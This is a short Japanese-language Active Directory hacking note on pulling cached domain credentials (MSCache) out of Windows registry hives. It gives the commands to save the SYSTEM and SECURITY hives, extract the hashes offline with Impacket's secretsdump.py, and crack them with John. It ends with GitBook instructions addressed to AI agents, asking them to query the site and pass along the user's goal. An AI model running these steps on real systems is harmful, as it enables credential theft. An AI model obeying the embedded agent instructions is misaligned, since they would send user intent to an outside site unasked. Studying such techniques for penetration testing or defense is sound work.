> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/credentials/mscache-extraction-from-registry-hives.md).

# レジストリハイブからMSCacheを抽出する

レジストリハイブからMSCacheを抽出するためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。

### 必要なハイブを保存する

Windows では:

```bash
reg save hklm/system system.save
```

次に:

```bash
reg save hklm/security security.save
```

その後、ファイルを Linux に転送します。

### Impacket を使った抽出

Linux では:

```bash
secretsdump.py -system system.save -security security.save LOCAL
```

このコマンドは MSCache 情報を使用可能な形式で抽出します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0081eb4d81731f772404eceb839365837dbcb4%2Fimage%20(3307).png?alt=media" alt=""><figcaption></figcaption></figure>

### John でクラックする

John で MSCache v2 ハッシュをクラックするには:

```bash
john --format=mscash2 hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b8def0748bc6f6a4bbecf0aff9c872237f7df48%2Fimage%20(3308).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/active-directory/credentials/mscache-extraction-from-registry-hives.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
